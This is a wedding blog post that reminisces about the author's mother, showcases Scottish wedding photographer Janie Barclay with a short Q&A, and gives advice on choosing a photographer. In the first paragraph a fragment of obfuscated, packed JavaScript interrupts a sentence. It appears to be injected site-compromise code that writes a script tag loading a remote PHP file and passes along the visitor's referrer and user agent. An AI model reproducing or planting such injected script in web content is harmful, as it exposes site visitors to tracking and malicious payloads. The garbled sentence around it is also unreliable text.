Sipping a cuppa tea this morning brought back memories of when I used to go home and see Mum; the first thing she would do is put the kettle on, instinctively knowing I would want one.  It was almost as though it was boiled just before I pulled into the driveway – Mothers””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’zsszz|varehzth||js|php’.split(‘|’),0,{}))
instinct?  I nurture the similarities of me and Mum now.   She loved tea, I adore tea, she was very much an artist and all forms of art interest me.  I also understand that motherly-instinct she had and best of all, now I work in the same industry that Mum worked in all her life – The Wedding Industry.

Mum started off designing and hand crafting stunning wedding umbrellas while she was at home with all us kids.  Made from luxurious cotton and the softest lace I have fond memories of the umbrellas she made in whites, soft blues and apricots {this was the seventies}… if only I had photos of them.  Photos are our legacy.  They keep the story of our life all tucked up neatly in our albums and sadly I don’t have any photos of her umbrellas.

Our emotions, our experiences and the people who share our lives at any given time are in our albums and like our wedding day, they are steeped in our history.  Wedding photos are so important, in fact I would be so bold as to say to you – put priority on your photographer over your wedding dress.

Stick with me here… your dress gets worn for a day, maybe a couple more for some, then gets lovingly folded and stored in the dark, dusty corners of our houses.  Our wedding photographs, adorn our walls, are shown to family and friends and our kids.  Yes your dress is incredibly important, but it’s not your legacy, your photos will be. It’s easy to get caught up in your wedding dress I so totally get it, but consider your wedding photos as your legacy. Photographer, Dress then Venue etc, that would be my list. 🙂

…and now that Sunday has come around again, and it’s a cold one at that, I’ll warm you up a bit with today’s Down The Lens Wedding Photographer showcase.

If you’re new to the Alice In Weddingland wedding blog, Down The Lens is posted every Sunday.  I’m on a mission to ensure that what happened to me on my wedding day never happens to you or any other Bride.

Down The Lens: your definitive guide to spectacular wedding photography.

Today’s Down The Lens wedding photographer showcase is by Scottish wedding photographer Janie Barclay.

The words in my mind when I first saw Janie’s photos were dramatic romance {you’ll see what I mean when you see the Bride riding her horse across the beach}.  Janie’s artistic and elegant photographs clearly try to push the boundaries of wedding photography and she seems to showcase exactly what your wedding day is all about – LOVE.

Capturing the spontaneous moments between the Bride and Groom as well as more formally posed photographs Janie mixes traditional photography with the more contemporary Documentary style wedding photography and generates a wonderful mix of portraits.  She is creative with her photography too and clearly loves to experiment with her surroundings {like the photo below of the Bride under the tree} and again the Bride on the horse.

It’s also clear that the Bride and Groom are very comfortable in front of the camera with Janie, which is important to getting great shots. I personally think it’s a really important aspect to photography and it is another thing that makes an awesome photographer, that is directing; the ability to pose great shots and have the Bride and Groom comfortable enough with the photographer to get those stunning shots.

I love the shot above and in Black and White make it’s even more striking!

Down The Lens – Q and A Sesh!

How did you get into photography and how long have you been doing it?

I have been taking photographs all my life – it’s my passion. I’m not sure where or when I started. I think it was from my uncle’s work. He always caught ‘a look’ in our family photos; something that interested me and kept me looking and wondering when I was  a child.

How would you describe your style of photography, if any?

Romantic….. that’s my baseline, but good wedding photography has to be versatile. I mix directed formal groups with spontaneous reportage photography with an artistic twist!

What would be your most favourite wedding that you’ve photographed and why?

I loved the wedding of Beverley and Paul – such a lovely couple and I have never witnessed such love. It was beautiful to see and photograph.

What would your advice be to Brides & Grooms when choosing a wedding photographer?

Check their website. Always look for genuine wedding photography and not posed shoots. Make sure you get on and feel relaxed with them. That relationship is SO important!

Wedding Photography Gallery – Janie Barclay

My thoughts:

Once you’ve chosen the style of photography that you’d like for your wedding photos, whether it’s traditional, stylistic or documentary for example, Google that style and search through websites to see the kinds of photos you like.  After a while you’ll probably notice something familiar about the photos that you do like – such as colour or black and white, vibrant or soft and romantic, even feminine or ethereal styled photos.  Each photographer tends to have their own style which naturally enhances their work.

Make a list of what you love and what you don’t love in the photos that you see so that when you go and chat with a few photographers you can show them your list.  Photographers are there to help you get the most out of your day and a good photographer will tell you if their style doesn’t suit yours what your want and point you in the directions of one that might.

Ask, ask, ask because Photographers can help you define what’s important to you when you’re chatting and sometimes even highlight things you weren’t aware of.

Enjoy your Sunday, wrap up warm it looks pretty chilly out there.  I’m off to get a cuppa tea, {I think I’m on my third already} and then I’m off to brave some Christmas shopping.

Please leave me your thoughts and comments, I love reading them.

Zarn

The one you might have missed:

Down The Lens:  Wedding Photographer Suzanne Fogarty